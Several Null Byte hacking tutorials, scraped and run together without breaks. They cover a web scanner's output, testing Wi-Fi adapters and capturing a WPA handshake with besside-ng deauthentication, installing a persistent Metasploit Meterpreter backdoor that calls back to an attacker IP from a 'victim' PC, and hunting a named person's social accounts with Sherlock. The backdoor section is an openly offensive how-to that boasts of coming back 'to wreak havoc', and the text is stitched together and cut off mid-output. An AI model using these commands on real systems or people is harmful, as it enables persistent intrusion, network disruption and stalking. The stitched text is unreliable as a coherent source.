Content-Security-Policy not present (Not OK) [-] X-XSS-Protection not present (Not OK) [-] X-Content-Type-Options not present (Not OK) [I] Detected Server header - 'Server: Varnish' (Informational) [-] Referrer-Policy not present (Not OK) [I] Anomalous Header detected 'Retry-After: 0' (Possible Informational) [I] Anomalous Header detected 'Via: 1.1 varnish' (Possible Informational) [I] Anomalous Header detected 'X-Served-By: cache-lax8628-LAX' (Possible Informational) [I] Anomalous Header detected 'X-Cache: MISS' (Possible Informational) [I] Anomalous Header detected 'X-Cache-Hits: 0' (Possible Informational) [I] Anomalous Header detected 'X-Timer: S1550496323.213716,VS0,VE39' (Possible Informational) [I] Anomalous Header detected 'WSHeader: ws=fLAX/' (Possible Informational) [-] Strict-Transport-Security not present (Not OK) [-] Public-Key-Pins not present (Not OK) [+] Done! [#] Press Enter to continue...There we go! We can quickly run any of the tools here or in the previous "Basic Bugs & Misconfigurations" module. While there are other useful modules in TIDoS, the exploitation module only includes a ShellShock attack, which isn't viable against most web applications.TIDoS Is Like an Assembly Line for Web App AttacksProbing for vulnerabilities can involve a lot of powerful but disconnected tools, and it's often difficult to set up an effective system for planning to attack web applications. TIDoS arranges these tools usefully, combining the best tools for the job in a workflow optimized for efficiency. By giving you the ability to pass information between programs easily, TIDoS automates selection and configuration of some of Kali's most useful tools for hunting flaws in web applications.I hope you enjoyed this guide to scanning websites and web apps for vulnerabilities with TIDoS! If you have any questions about this tutorial on web vulnerability scanning, leave a comment below and feel free to reach me on [email protected]'t Miss:Conduct OSINT Recon on a Target Domain with Raccoon ScannerFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshot by Kody/Null ByteRelatedHow to Hack Like a Pro:Getting Started with MetasploitHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Audit Web Applications & Servers with TishnaAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Stop the New Java 7 Exploit from Installing Malware on Your Mac or PCHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHow To:Use the jQuery Javascript framwork to make websitesHow To:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonHow To:Scan for Vulnerabilities on Any Website Using NiktoHow To:Detect Vulnerabilities in a Web Application with UniscanHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHack Like a Pro:Hacking the Heartbleed VulnerabilityHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHow To:Hack web browsers with BeEFHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How To:Patch the Latest Android "Master Key" Bugs on Your Samsung Galaxy S3Hack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Build Your Own "Pogo Mo Thoin" to Flash Any Xbox 360 DVD Drive for Under $5News:NASA Kicks Off 2012 with Ambitious New Moon MissionForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Create a Smart Sprinkler System to Water Your Garden When the Soil Dries UpExploiting XSS with BeEF:Part 1How To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:News Clips - June 8News:Colombian authorities investigating whether women in Secret Service scandal weHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Polanski's Knife in the Water
How to Check if Your Wireless Network Adapter Supports Monitor Mode & Packet Injection « Null Byte :: WonderHowTo
Tohack a Wi-Fi network, you needyour wireless cardto support monitor mode and packet injection. Not all wireless cards can do this, but you can quickly test one you already own for compatibility, and you can verify that the chipset inside an adapter you're thinking of purchasing will work for Wi-Fi hacking.Wireless cards supporting monitor mode and packet injection enable an ethical hacker to listen in on other Wi-Fi conversations and even inject malicious packets into a network. The wireless cards in most laptops aren't very good at doing anything other than what's required to establish a basic Wi-Fi connection.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018While some internal cards may offer some support for monitor mode, it's more common to find that your card isn't supported for tools included in Kali Linux. I found the card in a Lenovo laptop I use to support both, so sometimes it's possible to save by using your internal laptop card for practice when appropriate. If the internal one doesn't support the modes, an external one will be needed.External network adapters average between $15 and $40 per card. While this may not seem like much, making a mistake in purchasing a network adapter can add up quickly and be discouraging when first learning about Wi-Fi security.These devices may seem a little complicated at first, but they're pretty simple. Each wireless network adapter has a chip inside of it that contains its own CPU. This chip, along with the other circuitry in the adapter, translates signals from your computer into radio pulses called "packets," which transfer information between devices. Choosing a Wi-Fi adapter requires you to know about a few things, such as the chipset inside, the antenna in use, and the types of Wi-Fi that the card support.Jump to a Section:Check a Perspective Card|Test an Existing Card|Try an Attack Out to Make Sure It WorksOption 1: Check an Adapter's Chipset Before You BuyIf you haven't yet purchased the wireless network card you're considering, there are several ways you can check to see if it supports monitor mode and packet injection before committing to a purchase. Before we dive into those, however, you need to know the difference between manufacturers, so there's no confusion.Identifying the Card's SellerThe seller is, you guess it, the manufacturer selling the network adapter. Examples include TP-link, Panda Wireless, or Alfa. These manufacturers are responsible for the physical layout and design of the adapter but do not produce the actual CPU that goes inside the adapter.Identifying the Chip MakerThe second manufacturer is the one that makes the chip that powers the adapter. The chip is what controls the behavior of the card, which is why it's much more important to determine the chipset manufacturer than the adapter manufacturer. For example, Panda Wireless cards frequently use Ralink chipsets, which is the more critical piece of information to have.Determining the ChipsetCertain chipsets are known to work without much or any configuration needed for getting started, meaning that you can expect an adapter containing a particular supported chipset to be an easy choice.A good place to start when looking up the chipset of a wireless network adapter you're considering buying is Aircrack-ng's compatibility pages. Theolder "deprecated" versionstill contains a lot of useful information about the chipsets that will work with Aircrack-ng and other Wi-Fi hacking tools.Thenewer versionof the Aircrack-ng guide is also useful for explaining the way to check newer cards for compatibility, although it lacks an easy-to-understand table for compatibility the way the deprecated page does.Aside from Aircrack-ng's website, you can often look up card details on a resource like theWikiDevidatabase, which allows you to look up details on most wireless network adapters. Another resource is thelist of officially supported Linux drivers, which includes a handy table showing which models support monitor mode.Atheros chipsets are especially popular, so if you suspect your device contains an Atheros chipset, you can check anAtheros-only guide.Having a hard time finding the chipset of a card you're looking for? You can find a picture of the FCC ID number on the sticker of the device. The number can be input into websites likeFCCID.iowhich include internal photos of the chipsets in use.Once you've determined the chipset of the device you're considering, you should be able to predict its behavior. If the chipset of the wireless network adapter you're considering is listed as supporting monitor mode, you should be good to go.Knowing Which Card Is Worth ItTo make things easy on you, the following chipsets are known to support monitor mode and packet injection per our testing:Atheros AR9271:TheAlfa AWUS036NHAis my favorite long-range network adapter and the standard by which I judge other long-range adapters. It's stable, fast, and a well-supported b/g/n wireless network adapter. There's also theTP-Link TL-WN722N, a favorite for newbies and experienced hackers alike. It's a compact b/g/n adapter that has one of the cheapest prices but boasts surprisingly impressive performance. That being said, only v1 will work with Kali Linux since v2 uses a different chipset.Ralink RT3070:This chipset resides inside a number of popular wireless network adapters. Of those, theAlfa AWUS036NHis a b/g/n adapter with an absurd amount of range. It can be amplified by the omnidirectional antenna and can be paired with aYagiorPaddleantenna to create a directional array. For a more discreet wireless adapter that can be plugged in via USB, theAlfa AWUS036NEHis a powerful b/g/n adapter that's slim and doesn't require a USB cable to use. It has the added advantage of retaining its swappable antenna. If you need a stealthier option that doesn't look like it could hack anything, you might consider the g/nPanda PAU05. While small, it's a low profile adapter with a strong performance in the short and medium range, a reduced range for when you want to gather network data without including everything within several blocks.Ralink RT3572:While the previous adapters have been 2.4 GHz only, theAlfa AWUS051NH v2is a dual-band adapter that is also compatible with 5 GHz networks. While slightly pricier, the dual-band capacity and compatibility with 802.11n draft 3.0 and 802.11a/b/g wireless standards make this a more advanced option.Realtek 8187L (Wireless G adapters):TheAlfa AWUS036HUSB 2.4 GHz adapters use this older chipset that is less useful and will not pick up as many networks. These cards still will work against some networks, thus are great for beginners, as there are a ton around for cheap.Realtek RTL8812AU:Supported in 2017, theAlfa AWUS036ACHis a beast, with dual antennas and 802.11ac and a, b, g, n compatibility with 300 Mbps at 2.4 GHz and 867 Mbps at 5 GHz. It's one of the newest offerings that are compatible with Kali, so if you're looking for the fastest and longest range, this would be an adapter to consider. To use it, you may need to first run "apt update" followed by "apt install realtek-rtl88xxau-dkms" which will install the needed drivers to enable packet injection.Aircrack-ng alsolists a few cardsas best in class on its site, so if you're interested in more suggestions, check it out (some of the ones listed above are also on its list). Also, check out ourhead-to-head test of wireless network adapterscompatible with Kali Linux.More Info:Select a Field-Tested Kali Linux Compatible Wireless AdapterOn Amazon:Alfa AWUS036NHA Wireless B/G/N USB AdapterOther Considerations in Adapter SelectionAside from the chipset, another consideration is the frequency on which the adapter operates. While most Wi-Fi devices, including IoT devices, operate on the older 2.4 GHz band, many newer devices also offer 5 GHz networks. These networks are generally faster and can transfer more data, but are also usually paired with a 2.4 GHz network. The question when purchasing then becomes, is it worth it to invest the extra money in a 2.4/5 GHz antenna that can detect (and attack) both?In many cases, unless the point of your attack is to probe all of the available networks in an area, a 2.4 GHz card will be fine. If 5 GHz is important to you, there are many 5 GHz Wi-Fi cards that support monitor mode and packet injection, an example being thePanda Wireless Pau09.On Amazon:Panda Wireless PAU09 N600 Dual Band (2.4 GHz / 5 GHz) Wireless N USB AdapterAnother important factor is determining whether you need to mount a specialized antenna. While most omnidirectional antennas will be fine for a beginner, you may want to switch to an antenna with a directional pattern to focus on a particular network or area rather than everything in a circle around you. If this is the case, look for adapters with antennas that can be removed and swapped with a different type.Option 2: Test Your Existing Wireless Network AdapterIf you already have a wireless network adapter, you can check pretty easily if the chipset inside supports monitor mode and packet injection. To start, plug in the network adapter and then open a terminal window. You should be able to determine the chipset of the network adapter by simply typinglsusb -vvinto the terminal window and looking for an output similar to below.lsusb -vv Bus 001 Device 002: ID 148f:5372 Ralink Technology, Corp. RT5372 Wireless Adapter Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x148f Ralink Technology, Corp. idProduct 0x5372 RT5372 Wireless Adapter bcdDevice 1.01 iManufacturer 1 Ralink iProduct 2 802.11 n WLAN iSerial 3 (error) bNumConfigurations 1In my example, I'm looking at aPanda Wireless PAU06network adapter, which reports having an RT5372 chipset from Ralink, which is listed as supported! Once you know the chipset of your card, you should have a rough idea of what it can do.Testing Your Adapter's AbilitiesNow, let's move on to more active testing of the adapter's capabilities.Step 1: Put Your Card in Monitor ModeFor this step, we'll break out Airmon-ng, but before that, you'll need to locate the name of the interface. On your system, run the commandifconfig(orip a) to see a list of all devices connected. On Kali Linux, your card should be listed as something like wlan0 or wlan1.ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255 inet6 fe80::a00:27ff:fe59:1b51 prefixlen 64 scopeid 0x20<link> ether 86:09:15:d2:9e:96 txqueuelen 1000 (Ethernet) RX packets 700 bytes 925050 (903.3 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 519 bytes 33297 (32.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 20 bytes 1116 (1.0 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 20 bytes 1116 (1.0 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 ether EE-A5-3C-37-34-4A txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Once you have the name of the network interface, you can attempt to put it into monitor mode by typingairmon-ng start wlan0(assuming your interface name is wlan0). If you see the output below, then your card appears to support wireless monitor mode.airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 428 NetworkManager 522 dhclient 718 wpa_supplicant PHY Interface Driver Chipset phy1 wlan0 rt2800usb Ralink Technology, Corp. RT5372 (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon) (mac80211 station mode vif disabled for [phy1]wlan0)You can confirm the results by typingiwconfig, and you should see the name of your card has changed to add a "mon" at the end of your card's name. It should also report "Mode:Monitor" if it has been successfully put into monitor mode.iwconfig wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:offStep 2: Test Your Card for Packet InjectionTesting for packet injection is fairly straightforward to test thanks to tools included in Airplay-ng. After putting your card into monitor mode in the last step, you can run a test to see if the wireless network adapter is capable of injecting packets into nearby wireless networks.Starting with your interface in monitor mode, make sure you are in proximity to a few Wi-Fi networks so that the adapter has a chance of succeeding. Then, in a terminal window, typeaireplay-ng --test wlan0monto start the packet injection test.Don't Miss:Disable Cameras on Any Wireless Network with Aireplay-ngaireplay-ng --test wlan0mon 12:47:05 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 7 12:47:05 Trying broadcast probe requests... 12:47:06 Injection is working! 12:47:07 Found 1 AP 12:47:07 Trying directed probe requests... 12:47:07 AA:BB:CC:DD:EE - channel: 7 - 'Dobis' 12:47:08 Ping (min/avg/max): 0.891ms/15.899ms/32.832ms Power: -21.72 12:47:08 29/30: 96%If you get a result like above, then congratulations, your network card is successfully injecting packets into nearby networks. If you get a result like the one below, then your card may not support packet injection.aireplay-ng --test wlan0mon 21:47:18 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE) on channel 6 21:47:18 Trying broadcast probe requests... 21:47:20 No Answer... 21:47:20 Found 1 AP 21:47:20 Trying directed probe requests... 21:47:20 74:85:2A:97:5B:08 - channel: 6 - 'Dobis' 21:47:26 0/30: 0%Step 3: Test with an Attack to Make Sure Everything WorksFinally, we can put the above two steps into practice by attempting to capture a WPA handshake usingBesside-ng, a versatile and extremely useful tool for WPA cracking, which also happens to be a great way of testing if your card is able to attack a WPA network.Don't Miss:Automating Wi-Fi Hacking with Besside-ngTo start, make sure you have a network nearby you have permission to attack. By default, Besside-ng will attack everything in range, and the attack is very noisy. Besside-ng is designed to scan for networks with a device connected, then attack the connection by injecting deauthentication packets, causing the device to momentarily disconnect. When it reconnects, a hacker can use the information exchanged by the devices to attempt to brute-force the password.Type thebesside-ng -R 'Target Network' wlan0moncommand, with the-Rfield replaced with the name of your test network. It will begin attempting to grab a handshake from the victim network. For this to work, there must be a device connected to the Wi-Fi network you're attacking. If there isn't a device present, then there is no one to kick off the network so you can't try to capture the handshake.besside-ng -R 'Target Network' wlan0mon [21:08:54] Let's ride [21:08:54] Resuming from besside.log [21:08:54] Appending to wpa.cap [21:08:54] Appending to wep.cap [21:08:54] Logging to besside.logIf you get an output like below, then congratulations! Your card is capable of grabbing handshakes from WPA/WPA2 networks. You can also check outour guide on Besside-ngto understand more about what a Besside-ng attack is capable of.besside-ng wlan0mon [03:20:45] Let's ride [03:20:45] Resuming from besside.log [03:20:45] Appending to wpa.cap [03:20:45] Appending to wep.cap [03:20:45] Logging to besside.log [03:20:56] TO-OWN [DirtyLittleBirdyFeet*, Sonos*] OWNED [] [03:21:03] Crappy connection - Sonos unreachable got 0/10 (100% loss) [-74 dbm] [03:21:07] Got necessary WPA handshake info for DirtyLittleBirdyFeet [03:21:07] Run aircrack on wpa.cap for WPA key [03:21:07] Pwned network DirtyLittleBirdyFeet in 0:04 mins:sec [03:21:07] TO-OWN [Sonos*] OWNED [DirtyLittleBirdyFeet*]A Flexible Network Adapter Is Key to Wi-Fi HackingA powerful wireless network adapter with the ability to inject packets and listen in on Wi-Fi conversations around it gives any hacker an advantage over the airwaves. It can be confusing picking the right adapter for you, but by carefully checking the chipset contained, you can ensure you won't be surprised when you make your purchase. If you already have an adapter, putting it through its paces before using it in the field is recommended before you rely on it for anything too important.I hope you enjoyed this guide to testing your wireless network cards for packet injection and wireless monitor mode. If you have any questions about this tutorial on Kali-compatible wireless network adapters or you have a comment, feel free to reach me on [email protected]'t Miss:Hack Wi-Fi & Networks More Easily with Lazy ScriptFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Hack WPA WiFi Passwords by Cracking the WPS PINGuide:Wi-Fi Cards and ChipsetsHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Hack WiFi Using a WPS Pixie Dust AttackHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Hack Wi-Fi Networks with BettercapHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Crack Wi-Fi Passwords—For Beginners!How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Get Free Wi-Fi from Hotels & MoreHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Packet Injection Capable Drivers in LinuxHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Bypass a Local Network Proxy for Free InternetHow To:Use Wireshark to Steal Your Own Local Passwords
Hack Like a Pro: How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PC « Null Byte :: WonderHowTo
Welcome back, my hacker wannabees!Most of my recent posts have addressed using Metasploit's Meterpreter and what we can do once we have embedded it on the victim's system. This includes remotely installinga keylogger, enablingthe webcam, enablingthe microphone and recording, disablingthe antivirus software, among many other things. The list is almost unlimited.Unfortunately, the Meterpreter ceases to work if the victim system is rebooted. As a result, many of you have written me asking whether we can maintain or persist the Meterpreter on the victim system.The answer is an unequivocal "Yes!"We can embed the Meterpreter and then come back later—even after the victim's computer has been rebooted—and reconnect to our little backdoor or listener. I'm dedicating this post to showing you how to do this.Getting StartedLet's assume that you have been successful in embedding the Meterpreter on the victim's system, and that you have a screen that looks like the screenshot below. If you're not sure how to do this, check out some ofmy previous postsfor help.Now, let's get started.Step 1: Run the Persistence ScriptMetasploit has a script namedpersistencethat can enable us to set up a persistent Meterpreter (listener) on the victim's system. First let's take a look at the options that are available when we run this scrip by using the–h switch.At the Meterpreter prompt, type the following:meterpreter > run persistence -hWe can see in the screenshot above that...–A switchstarts a matching handler to connect to the agent.With the-L switchwe tell the system where to place the Meterpreter on the target system.The–P switchtells the system what payload to use (Windows/Meterpreter/reverse_tcp is the default, so we won't use this switch).-Sstarts the agent on boot with system privileges.The-U switchstarts the agent when the user (U) logs on.The-x switchstarts the agent when the system boots.With the–i switchwe can indicate the time interval between each connection attempt.The-p switchindicates the port, and finally...The–r switchindicates the IP address of our ( r ) system running Metasploit.Here we will use the–A, -L, -x, -i, -p, and –r switches.Type at the Meterpreter prompt:meterpreter >run persistence –A –L c:\\ -X 30 –p 443 –r 192.168.1.113This command then will run the persistence script that will start a matching handler (-A), place the Meterpreter at c:\\ on the target system (-L c:\\), starts the listener when the system boots (-x), checks every 30 seconds for a connection (-i 30), connects on port 443 (-p 443), and connects to the local system (ours) on IP address 192.168.1.113.When we run this command, this is what we should see.Step 2: Opening a Second SessionWe can see that we have opened a Meterpreter session on the victim system.We return to our Metasploit prompt, by typing:meterpreter > backgroundThis will return us to themsf prompt, where can now type:msf exploit(ms08_067_netapi) > sessions –iWe see above that now we have two or more sessions running on the victim system (I actually have three sessions running on this victim) as the persistent Meterpreter has opened a second session on the system.Step 3: TestingThis is all very nice, but the key here is whether the Meterpreter will reconnect to our system even after the target system reboots. We can test this by typing;meterpreter > rebootThis will reboot the target/victim machine and if we are successful, the Meterpreter will reconnect to our system.Even after the system reboots, the Meterpreter on the victim system attempts to connect to us every 30 seconds until it has successfully open a session for us.Now we have successfully opened a persistent connection on the victim system that we can come back to time and time again to wreak havoc!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseOriginal cover images fromBrian A Jackson,ilovezionatShutterstockRelatedHow To:Make Your Galaxy S20's Photos Instagram-Ready in SecondsHow To:Auto-Reply to Missed Calls & Texts on Android When You’re BusyHow To:Install the Front Inside Door Handle on a 99-04 Honda OdysseyHow To:Permanently Remove the 'No SIM Card Inserted' Notification on Your Samsung Galaxy — No Root NeededHow To:Replace a Front Door Lock Actuator on a 1999-04 Honda OdysseyNews:Ford Is Adding Android Auto, Apple CarPlay, & More with New Sync SystemHow To:Permanently Disable the 'Software Update' Notification on Your Samsung Galaxy — No Root NeededHow To:Reconnect Your AirPods to Your iPhone Without Digging in the Bluetooth SettingsHow To:Create a Persistent Back Door in Android Using Kali Linux:How To:Auto-Hide the Navigation Bar on Your Galaxy S10 — No Root NeededHow To:Hack Android Using Kali (Remotely)How To:Install memory in a 2009 Mac ProHow To:Root the Samsung Galaxy S7 or S7 EdgeHow To:Install VNC remotely on a Windows XP PCHow To:Access & Control Your Computer Remotely with Your Nexus 5Hack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyNews:Marble Bee Wake UpNews:Grand Theft Auto 4 Looks Like Gran Turismo 5 with iCEnchancerNews:MAME Arcade cabinet+News:Under cutting door jambs with a hand saw, before installing laminate flooringNews:Reconnect to Victim's System SuccessHow To:Make an Invisible Piston Door to Keep Your Hideout a SecretNews:MAC OS X on PC for REALzZz, My FriendzZz...!News:Packing Tape Door WayHow To:Copy & Convert your Skyrim Game Save from the Xbox 360 to your PCHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:***Where to get *GUNS*EXPLOSIVES* From Mission's***
Hack Like a Pro « Null Byte :: WonderHowTo
No content found.
How to Hunt Down Social Media Accounts by Usernames with Sherlock « Null Byte :: WonderHowTo
When researching a person using open source intelligence, the goal is to find clues that tie information about a target into a bigger picture. Screen names are perfect for this because they are unique and link data together, as people often reuse them in accounts across the internet. With Sherlock, we can instantly hunt down social media accounts created with a unique screen name on many online platforms simultaneously.From a single clue like an email address or screen name, Sherlock can grow what we know about a target piece by piece as we learn about their activity on the internet. Even if a person is careful, their online contacts may not be, and it's easy to slip up and leave default privacy setting enabled on apps like Venmo. A single screen name can reveal many user accounts created by the same person, potentially introducing photos, accounts of family members, and other avenues for collecting further information.Don't Miss:Conduct OSINT Recon on a Target Domain with Raccoon ScannerWhat Sherlock Can FindSocial media accounts are rich sources of clues. One social media account may contain links to others which use different screen names, giving you another round of searching to include the newly discovered leads. Images from profile photos are easy to put into a reverse image search, allowing you to find other profiles using the same image whenever the target has a preferred profile photo.Even the description text in a profile may often be copied and pasted between profiles, allowing you to search for profiles created with identical profile text or descriptions. For our example, I'll be taking the suggestion of a fellow Null Byte writer to target the social media accounts ofNeil Breen, director of many very intense movies such as the classic hacker filmFateful Findings.What You'll NeedPython 3.6 or higher is required, but aside from that, you'll just need pip3 to install Sherlock on your computer. I had it running on macOS and Ubuntu just fine, so it seems to be cross-platform. If you want to learn more about the project, you can check out itssimple GitHub page.Don't Miss:How to Use SpiderFoot for OSINT GatheringStep 1: Install Python & SherlockTo get started, we can follow the instructions included inthe GitHub repository. In a new terminal window, run the following commands to install Sherlock and all dependencies needed.~$ git clone https://github.com/sherlock-project/sherlock.git ~$ cd sherlock ~/sherlock$ pip3 install -r requirements.txtIf something fails, make sure you have python3 and python3-pip installed, as they're required for Sherlock to install. Once it's finished installing, you can runpython3 sherlock.py -hfrom inside the /sherlock folder to see the help menu.~/sherlock$ python3 sherlock.py -h usage: sherlock.py [-h] [--version] [--verbose] [--rank] [--folderoutput FOLDEROUTPUT] [--output OUTPUT] [--tor] [--unique-tor] [--csv] [--site SITE_NAME] [--proxy PROXY_URL] [--json JSON_FILE] [--proxy_list PROXY_LIST] [--check_proxies CHECK_PROXY] [--print-found] USERNAMES [USERNAMES ...] Sherlock: Find Usernames Across Social Networks (Version 0.5.8) positional arguments: USERNAMES One or more usernames to check with social networks. optional arguments: -h, --help show this help message and exit --version Display version information and dependencies. --verbose, -v, -d, --debug Display extra debugging information and metrics. --rank, -r Present websites ordered by their Alexa.com global rank in popularity. --folderoutput FOLDEROUTPUT, -fo FOLDEROUTPUT If using multiple usernames, the output of the results will be saved at this folder. --output OUTPUT, -o OUTPUT If using single username, the output of the result will be saved at this file. --tor, -t Make requests over TOR; increases runtime; requires TOR to be installed and in system path. --unique-tor, -u Make requests over TOR with new TOR circuit after each request; increases runtime; requires TOR to be installed and in system path. --csv Create Comma-Separated Values (CSV) File. --site SITE_NAME Limit analysis to just the listed sites. Add multiple options to specify more than one site. --proxy PROXY_URL, -p PROXY_URL Make requests over a proxy. e.g. socks5://127.0.0.1:1080 --json JSON_FILE, -j JSON_FILE Load data from a JSON file or an online, valid, JSON file. --proxy_list PROXY_LIST, -pl PROXY_LIST Make requests over a proxy randomly chosen from a list generated from a .csv file. --check_proxies CHECK_PROXY, -cp CHECK_PROXY To be used with the '--proxy_list' parameter. The script will check if the proxies supplied in the .csv file are working and anonymous.Put 0 for no limit on successfully checked proxies, or another number to institute a limit. --print-found Do not output sites where the username was not found.As you can see, there are lots of options here, including options for usingTor. While we won't be using them today, these features can come in handy when we don't want anyone to know who is making these requests directly.Step 2: Identify a Screen NameNow that we can see how the script runs, it's time to run a search. We'll load up our target, Neil Breen, with a screen name found by running a Google search for "Neil Breen" and "Twitter."That's our guy. The screen name we'll be searching isneilbreen. We'll format that as the following command, which will search for accounts across the internet with the username "neilbreen" and print only the results that it finds. It will significantly reduce the output, as the majority of queries will usually come back negative. The final argument,-r, will organize the list of found accounts by which websites are most popular.~/sherlock$ python3 sherlock.py neilbreen -r --print-foundStep 3: Scan for AccountsUpon running this command, we will see a lot of output without the--print foundflag regardless of the results. In ourneilbreenexample, we are taken on a virtual tour of Neil Breen's life across the internet.~/sherlock$ python3 sherlock.py neilbreen -r --print-found ."""-. / \ ____ _ _ _ | _..--'-. / ___|| |__ ___ _ __| | ___ ___| |__ >.`__.-""\;"` \___ \| '_ \ / _ \ '__| |/ _ \ / __| |/ / / /( ^\ ___) | | | | __/ | | | (_) | (__| < '-`) =|-. |____/|_| |_|\___|_| |_|\___/ \___|_|\_\ /`--.'--' \ .-. .'`-._ `.\ | J / / `--.| \__/ [*] Checking username neilbreen on: [+] Google Plus: https://plus.google.com/+neilbreen [+] Facebook: https://www.facebook.com/neilbreen [+] Twitter: https://www.twitter.com/neilbreen [+] VK: https://vk.com/neilbreen [+] Reddit: https://www.reddit.com/user/neilbreen [+] Twitch: https://m.twitch.tv/neilbreen [+] Ebay: https://www.ebay.com/usr/neilbreen [-] Error Connecting: GitHub [-] GitHub: Error! [+] Imgur: https://imgur.com/user/neilbreen [+] Pinterest: https://www.pinterest.com/neilbreen/ [-] Error Connecting: Roblox [-] Roblox: Error! [+] Spotify: 